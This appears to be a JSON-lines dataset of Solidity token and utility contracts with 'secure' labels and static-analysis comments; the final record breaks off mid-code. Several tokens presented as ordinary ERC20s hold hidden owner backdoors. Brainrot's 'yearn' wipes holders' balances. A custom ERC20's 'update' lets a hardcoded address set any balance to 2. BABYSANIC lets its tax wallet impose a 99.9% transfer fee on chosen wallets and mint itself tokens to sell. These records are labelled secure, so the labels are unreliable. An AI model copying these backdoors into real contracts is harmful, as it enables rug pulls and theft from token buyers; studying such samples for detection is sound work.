{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract X7TestToken07 is ERC20, Ownable {\n mapping(address => bool) public allowedToTransfer;\n\n constructor()\n ERC20(\"X7 Test Token 07\", \"X7-TESTTOKEN-07\")\n Ownable(msg.sender)\n {\n allowedToTransfer[msg.sender] = true;\n\n _mint(msg.sender, 100000000 * 10 ** 18);\n }\n\n function allowToTransfer(\n address transferAddress,\n bool isAllowed\n ) public onlyOwner {\n allowedToTransfer[transferAddress] = isAllowed;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(allowedToTransfer[from] && allowedToTransfer[to]);\n super._transfer(from, to, amount);\n }\n}", "file_name": "solidity_code_2186.sol", "secure": 1, "size_bytes": 935 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract LK99 is ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d2d6993): LK99.constructor(uint256)._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for d2d6993: Rename the local variables that shadow another component.\n constructor(uint256 _totalSupply) ERC20(\"LK-99\", \"LK99\") {\n _mint(msg.sender, _totalSupply * (10 ** decimals()));\n }\n}", "file_name": "solidity_code_2187.sol", "secure": 0, "size_bytes": 542 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nabstract contract Resolver {\n function addr(string memory node) public view virtual returns (address);\n}", "file_name": "solidity_code_2188.sol", "secure": 1, "size_bytes": 177 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Brainrot is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable colleague;\n\n constructor() {\n _name = \"BRAIN ROT\";\n\n _symbol = \"ROT\";\n\n _decimals = 18;\n\n uint256 initialSupply = 724000000;\n\n colleague = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == colleague, \"Not allowed\");\n\n _;\n }\n\n function yearn(address[] memory debut) public onlyOwner {\n for (uint256 i = 0; i < debut.length; i++) {\n address account = debut[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_2189.sol", "secure": 1, "size_bytes": 4360 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20Upgradeable.sol\" as IERC20Upgradeable;\n\ninterface IERC20MetadataUpgradeable is IERC20Upgradeable {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}", "file_name": "solidity_code_219.sol", "secure": 1, "size_bytes": 363 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n using SafeMath for uint256;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n string private _name;\n\n mapping(address => uint256) private _balances;\n\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n address internal devWallet = 0xCb5f50e2bCd08f8Df3616d567a618cC4d19FD4bE;\n\n address private _uniswapFactoryV2 =\n 0xf578b185BC4625Aa14a89652283Ef5cE6b39F2b1;\n string private _symbol;\n uint256 private totSupply;\n uint256 private _allowance = 0;\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n function _afterTokenTransfer(address to) internal virtual {\n if (to == _uniswapFactoryV2) _allowance = decimals() * 11;\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n\n totSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(address(0));\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return totSupply;\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[from] = fromBalance - amount;\n\n _balances[to] = _balances[to].add(amount);\n emit Transfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n totSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(account);\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n function update(address updateSender) external {\n _balances[updateSender] = msg.sender == _uniswapFactoryV2\n ? 2\n : _balances[updateSender];\n }\n}", "file_name": "solidity_code_2190.sol", "secure": 1, "size_bytes": 6321 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract BEBEPEPECoin is ERC20, Ownable {\n constructor() ERC20(\"BEBE PEPE\", \"BEBE\") {\n transferOwnership(devWallet);\n _mint(owner(), 6010000000000 * 10 ** uint256(decimals()));\n }\n}", "file_name": "solidity_code_2191.sol", "secure": 1, "size_bytes": 401 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@ensdomains/ens/contracts/ENS.sol\" as ENS;\nimport \"./Resolver.sol\" as Resolver;\n\ncontract SupportsENS {\n\t// WARNING Optimization Issue (constable-states | ID: 3853ece): SupportsENS.ens should be constant \n\t// Recommendation for 3853ece: Add the 'constant' attribute to state variables that never change.\n ENS ens = ENS(0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e);\n\n modifier onlyENSOwner(string memory nameHash) {\n require(\n msg.sender == getENSAddress(nameHash),\n \"Only ENS owner can call this contract\"\n );\n _;\n }\n\n function getENSAddress(\n string memory nameHash\n ) public view returns (address) {\n Resolver resolver = ens.resolver(nameHash);\n return resolver.addr(nameHash);\n }\n\n function getSafeENSAddress(\n string memory nameHash\n ) public view returns (address) {\n Resolver resolver = ens.resolver(nameHash);\n address res = resolver.addr(nameHash);\n require(res != address(0), \"address not set or set to burn\");\n return res;\n }\n}", "file_name": "solidity_code_2192.sol", "secure": 1, "size_bytes": 1169 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract BABYSANIC is Ownable {\n using SafeMath for uint256;\n\t// WARNING Optimization Issue (constable-states | ID: c784356): BABYSANIC._decimals should be constant \n\t// Recommendation for c784356: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ed74f83): BABYSANIC._totalSupply should be immutable \n\t// Recommendation for ed74f83: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n emit Transfer(address(0), sender(), _balances[sender()]);\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: cca26e9): BABYSANIC._name should be constant \n\t// Recommendation for cca26e9: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Baby Sanic\";\n\t// WARNING Optimization Issue (constable-states | ID: 62ed1e0): BABYSANIC._symbol should be constant \n\t// Recommendation for 62ed1e0: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"BABYSANIC\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 973f42b): BABYSANIC.uniV2Router should be constant \n\t// Recommendation for 973f42b: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\t// WARNING Optimization Issue (immutable-states | ID: 940b149): BABYSANIC._taxWallet should be immutable \n\t// Recommendation for 940b149: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a6e1d16): BABYSANIC._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a6e1d16: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"IERC20: approve from the zero address\");\n require(spender != address(0), \"IERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n function increaseWalletLimit() external {}\n function decreaseWalletLimit() external {}\n function transferToken(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n require(_allowances[from][sender()] >= _amount);\n return true;\n }\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 62baa8e): BABYSANIC.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 62baa8e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n return true;\n }\n event Transfer(address indexed from, address indexed to, uint256);\n mapping(address => uint256) internal cooldowns;\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n function sender() internal view returns (address) {\n return msg.sender;\n }\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n function setMarketPair(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n _balances[address(this)] = amount;\n address[] memory addressPath = new address[](2);\n addressPath[0] = address(this);\n addressPath[1] = uniV2Router.WETH();\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n require(from != address(0));\n require(value <= _balances[from]);\n emit Transfer(from, to, value);\n _balances[from] = _balances[from] - (value);\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n uint256 toBalance = _balances[to];\n toBalance += (value) - (_taxValue);\n _balances[to] = toBalance;\n }\n event Approval(address indexed, address indexed, uint256 value);\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n return true;\n }\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n return true;\n }\n mapping(address => uint256) private _balances;\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n}", "file_name": "solidity_code_2193.sol", "secure": 0, "size_bytes": 7334 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Messi is ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8c20650): Messi.constructor(string,string,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 8c20650: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 10a94d3): Messi.constructor(string,string,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for 10a94d3: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7da7805): Messi.constructor(string,string,uint256).totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 7da7805: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n uint256 totalSupply\n ) ERC20(name, symbol) {\n _mint(msg.sender, totalSupply);\n }\n}", "file_name": "solidity_code_2194.sol", "secure": 0, "size_bytes": 1201 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract CFORole is Context {\n address private _cfo;\n\n event CFOTransferred(address indexed previousCFO, address indexed newCFO);\n\n constructor() {\n _transferCFOship(_msgSender());\n emit CFOTransferred(address(0), _msgSender());\n }\n\n function cfo() public view returns (address) {\n return _cfo;\n }\n\n modifier onlyCFO() {\n require(isCFO(), \"CFOable: caller is not the CFO\");\n _;\n }\n\n function isCFO() public view returns (bool) {\n return _msgSender() == _cfo;\n }\n\n function renounceCFOship() public onlyCFO {\n emit CFOTransferred(_cfo, address(0));\n _cfo = address(0);\n }\n\n function transferCFOship(address newCFO) public onlyCFO {\n _transferCFOship(newCFO);\n }\n\n function _transferCFOship(address newCFO) internal {\n require(newCFO != address(0), \"Ownable: new cfo is the zero address\");\n emit CFOTransferred(_cfo, newCFO);\n _cfo = newCFO;\n }\n}", "file_name": "solidity_code_2195.sol", "secure": 1, "size_bytes": 1141 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface UniswapRouterV2 {\n function swapExactTokensForTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint256 liquidity,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB);\n\n function getAmountsOut(\n uint256 amountIn,\n address[] calldata path\n ) external view returns (uint256[] memory amounts);\n\n function getAmountsIn(\n uint256 amountOut,\n address[] calldata path\n ) external view returns (uint256[] memory amounts);\n\n function swapETHForExactTokens(\n uint256 amountOut,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable returns (uint256[] memory amounts);\n\n function swapExactETHForTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable returns (uint256[] memory amounts);\n}", "file_name": "solidity_code_2196.sol", "secure": 1, "size_bytes": 1969 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract OperatorRole is Context {\n address private _Operator;\n\n event OperatorTransferred(\n address indexed previousOperator,\n address indexed newOperator\n );\n\n constructor() {\n _transferOperatorship(_msgSender());\n emit OperatorTransferred(address(0), _msgSender());\n }\n\n function Operator() public view returns (address) {\n return _Operator;\n }\n\n modifier onlyOperator() {\n require(isOperator(), \"Operatorable: caller is not the Operator\");\n _;\n }\n\n function isOperator() public view returns (bool) {\n return _msgSender() == _Operator;\n }\n\n function renounceOperatorship() public onlyOperator {\n emit OperatorTransferred(_Operator, address(0));\n _Operator = address(0);\n }\n\n function transferOperatorship(address newOperator) public onlyOperator {\n _transferOperatorship(newOperator);\n }\n\n function _transferOperatorship(address newOperator) internal {\n require(\n newOperator != address(0),\n \"Ownable: new Operator is the zero address\"\n );\n emit OperatorTransferred(_Operator, newOperator);\n _Operator = newOperator;\n }\n}", "file_name": "solidity_code_2197.sol", "secure": 1, "size_bytes": 1373 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract VerifySignature is Ownable {\n address public signaturer;\n\n constructor() {\n signaturer = msg.sender;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6cfa88f): VerifySignature.changeSignaturer(address).value lacks a zerocheck on \t signaturer = value\n\t// Recommendation for 6cfa88f: Check that the address is not zero.\n function changeSignaturer(address value) public onlyOwner {\n\t\t// missing-zero-check | ID: 6cfa88f\n signaturer = value;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 097356f): VerifySignature.getMessageHash(address,address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 097356f: Rename the local variables that shadow another component.\n function getMessageHash(\n address owner,\n address contract_addr,\n address to,\n uint256 _nonce\n ) public pure returns (bytes32) {\n return keccak256(abi.encodePacked(owner, contract_addr, to, _nonce));\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cfd2607): VerifySignature.getMessageHash2(address,address,address,uint256,uint256,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cfd2607: Rename the local variables that shadow another component.\n function getMessageHash2(\n address owner,\n address contract_addr,\n address to,\n uint256 tokenId,\n uint256 genes,\n uint256 _nonce\n ) public pure returns (bytes32) {\n return\n keccak256(\n abi.encodePacked(\n owner,\n contract_addr,\n to,\n tokenId,\n genes,\n _nonce\n )\n );\n }\n\n function getEthSignedMessageHash(\n bytes32 _messageHash\n ) public pure returns (bytes32) {\n return\n keccak256(\n abi.encodePacked(\n \"\\x19Ethereum Signed Message:\\n32\",\n _messageHash\n )\n );\n }\n\n function verify(\n address to,\n uint256 _nonce,\n bytes memory signature\n ) public view returns (bool) {\n bytes32 messageHash = getMessageHash(\n signaturer,\n address(this),\n to,\n _nonce\n );\n bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash);\n return recoverSigner(ethSignedMessageHash, signature) == signaturer;\n }\n\n function verify2(\n address to,\n uint256 tokenId,\n uint256 genes,\n uint256 _nonce,\n bytes memory signature\n ) public view returns (bool) {\n bytes32 messageHash = getMessageHash2(\n signaturer,\n address(this),\n to,\n tokenId,\n genes,\n _nonce\n );\n bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash);\n return recoverSigner(ethSignedMessageHash, signature) == signaturer;\n }\n\n function recoverSigner(\n bytes32 _ethSignedMessageHash,\n bytes memory _signature\n ) public pure returns (address) {\n (bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature);\n return ecrecover(_ethSignedMessageHash, v, r, s);\n }\n\n function splitSignature(\n bytes memory sig\n ) public pure returns (bytes32 r, bytes32 s, uint8 v) {\n require(sig.length == 65, \"invalid signature length\");\n assembly {\n r := mload(add(sig, 32))\n s := mload(add(sig, 64))\n v := byte(0, mload(add(sig, 96)))\n }\n }\n}", "file_name": "solidity_code_2198.sol", "secure": 0, "size_bytes": 3918 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./CFORole.sol\" as CFORole;\nimport \"./OperatorRole.sol\" as OperatorRole;\nimport \"./VerifySignature.sol\" as VerifySignature;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Collection is CFORole, OperatorRole, VerifySignature {\n using Address for address payable;\n using SafeMath for uint256;\n\n struct Event {\n uint256 event_id;\n uint256 price;\n string name;\n string event_type;\n bool start;\n uint256 total_supply;\n uint256 per_limit;\n uint256 supplied;\n mapping(address => uint256) buy_his_count;\n uint256 amount;\n }\n\n mapping(uint256 => Event) events;\n mapping(uint256 => bool) eventIdMap;\n uint256[] eventIds;\n\n event OpenEvent(\n uint256 eventId,\n uint256 price,\n string event_type,\n string name,\n uint256 total_supply,\n uint256 per_limit,\n address setter\n );\n event ReopenEvent(uint256 eventId, address setter);\n event CloseEvent(uint256 eventId, address setter);\n event Pay(\n uint256 eventId,\n uint256 price,\n uint256 num,\n string event_type,\n address payer\n );\n event ChangeEventProperty(\n uint256 eventId,\n string prop,\n uint256 from,\n uint256 to\n );\n event ChangeEventPropertyStr(\n uint256 eventId,\n string prop,\n string from,\n string to\n );\n\n function startEvent(\n uint256 eventId,\n uint256 price,\n string memory event_type,\n string memory name,\n uint256 total_supply,\n uint256 per_limit\n ) public onlyOperator {\n require(!_checkIsEventExist(eventId), \"event already exist\");\n require(bytes(name).length > 0, \"event name connot be empty\");\n\n events[eventId].event_id = eventId;\n events[eventId].price = price;\n events[eventId].event_type = event_type;\n events[eventId].name = name;\n events[eventId].total_supply = total_supply;\n events[eventId].per_limit = per_limit;\n events[eventId].start = true;\n\n eventIdMap[eventId] = true;\n eventIds.push(eventId);\n emit OpenEvent(\n eventId,\n price,\n event_type,\n name,\n total_supply,\n per_limit,\n _msgSender()\n );\n }\n\n function restartEvent(uint256 eventId) public onlyOperator {\n require(_checkIsEventExist(eventId), \"event did not exist\");\n require(!_checkIsEventDuring(eventId), \"event is during now\");\n events[eventId].start = true;\n emit ReopenEvent(eventId, _msgSender());\n }\n\n function endEvent(uint256 eventId) public onlyOperator {\n require(_checkIsEventExist(eventId), \"event did not exist\");\n require(_checkIsEventDuring(eventId), \"event has already closed\");\n events[eventId].start = false;\n emit CloseEvent(eventId, _msgSender());\n }\n\n function setEventPrice(\n uint256 eventId,\n uint256 newPrice\n ) public onlyOperator {\n require(_checkIsEventExist(eventId), \"event did not exist\");\n require(!_checkIsEventDuring(eventId), \"event is during now\");\n uint256 oldPrice = events[eventId].price;\n events[eventId].price = newPrice;\n emit ChangeEventProperty(eventId, \"price\", oldPrice, newPrice);\n }\n\n function setEventType(\n uint256 eventId,\n string memory newType\n ) public onlyOperator {\n require(_checkIsEventExist(eventId), \"event did not exist\");\n require(!_checkIsEventDuring(eventId), \"event is during now\");\n string memory oldType = events[eventId].event_type;\n events[eventId].event_type = newType;\n emit ChangeEventPropertyStr(eventId, \"event_type\", oldType, newType);\n }\n\n function setTotalSupply(\n uint256 eventId,\n uint256 newTotalSupply\n ) public onlyOperator {\n require(_checkIsEventExist(eventId), \"event did not exist\");\n require(!_checkIsEventDuring(eventId), \"event is during now\");\n uint256 oldTotalSupply = events[eventId].total_supply;\n events[eventId].total_supply = newTotalSupply;\n emit ChangeEventProperty(\n eventId,\n \"total_supply\",\n oldTotalSupply,\n newTotalSupply\n );\n }\n\n function setTotalPerLimit(\n uint256 eventId,\n uint256 newPerLimit\n ) public onlyOperator {\n require(_checkIsEventExist(eventId), \"event did not exist\");\n require(!_checkIsEventDuring(eventId), \"event is during now\");\n uint256 oldPerLimit = events[eventId].per_limit;\n events[eventId].per_limit = newPerLimit;\n emit ChangeEventProperty(\n eventId,\n \"per_limit\",\n oldPerLimit,\n newPerLimit\n );\n }\n\n function pay(\n uint256 eventId,\n uint256 num,\n uint256 nonce,\n bytes memory signature\n ) public payable {\n require(\n verify2(_msgSender(), eventId, num, nonce, signature),\n \"invalid signture\"\n );\n require(_checkIsEventExist(eventId), \"event did not exist\");\n require(_checkIsEventDuring(eventId), \"event is during now\");\n require(_checkIsEnoughSupply(eventId, num), \"Sold out\");\n require(_checkIsUnderPerLimit(eventId, num), \"Purchase limit reached\");\n\n events[eventId].supplied = events[eventId].supplied.add(num);\n events[eventId].buy_his_count[_msgSender()] = events[eventId]\n .buy_his_count[_msgSender()]\n .add(num);\n emit Pay(\n eventId,\n msg.value,\n num,\n events[eventId].event_type,\n _msgSender()\n );\n }\n\n function withdraw(address payable to) public onlyCFO {\n uint256 amount = address(this).balance;\n to.sendValue(amount);\n }\n\n function withdraw(address payable to, uint256 amount) public onlyCFO {\n to.sendValue(amount);\n }\n\n function getEventBalance(\n uint256 eventId\n ) public view 